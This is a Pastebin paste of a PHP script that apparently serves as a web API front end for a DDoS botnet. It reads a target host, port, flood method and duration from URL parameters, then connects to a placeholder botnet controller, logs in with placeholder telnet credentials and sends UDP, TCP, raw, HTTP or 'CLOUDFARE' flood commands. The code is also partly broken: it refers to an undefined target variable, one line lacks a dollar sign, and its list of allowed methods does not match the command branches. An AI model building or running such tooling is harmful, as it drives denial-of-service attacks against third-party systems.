Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $APIKeys = array("");
- $attackMethods = array("UDP", "HTTP", "STD", "RAW");
- function htmlsc($string)
- {
- return htmlspecialchars($string, ENT_QUOTES, "UTF-8");
- }
- if (!isset($_GET["key"]) || !isset($_GET["host"]) || !isset($_GET["port"]) || !isset($_GET["method"]) || !isset($_GET["time"]))
- die("<p>You are missing a parameter");
- $key = htmlsc($_GET["key"]);
- $host = htmlsc($_GET["host"]);
- $port = htmlsc($_GET["port"]);
- $method = htmlsc(strtoupper($_GET["method"]));
- $time = htmlsc($_GET["time"]);
- $command = "";
- if (!in_array($key, $APIKeys)) die("Invalid API key");
- if (!in_array($method, $attackMethods)) die("Invalid attack method");
- if($method == "UDP"){$command = "!* UDP $target $port $time 32 0 10";}
- if($method == "TCP"){$command = "!* TCP $target $port $time 32 all 0 10";}
- if($method == "RAW"){$command = "!* RAW $target $port $time";}
- if($method == "STDHEX"){$command = "!* STDHEX $target $port $time";}
- if($method == "HTTP"){$command = "!* HTTP $target $time";}
- if($method == "CLOUDFARE"){command = "!* CLOUDFARE GET $target $port $time";}
- if($method == "STOP"){$command = "!* STOP";}
- $socket = fsockopen("IPBITCH", PORTBITCH); //THIS IS YOUR BOTNET IP AND PORT
- ($socket ? null : die("<p>Failed to connect"));
- fwrite($socket, "LOGINBITCH\n"); //LOGIN FOR YOUR ROOTER ROUTER TELNET LOGIN
- fwrite($socket, "PASSWORDBITCH\n"); //PASSWORD FOR YOUR ROOTER ROUTER TELNET LOGIN
- fwrite($socket, $command . "\n");
- fclose($socket);
- echo "Attack sent to $host:$port for $time seconds using method $method!\n";
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement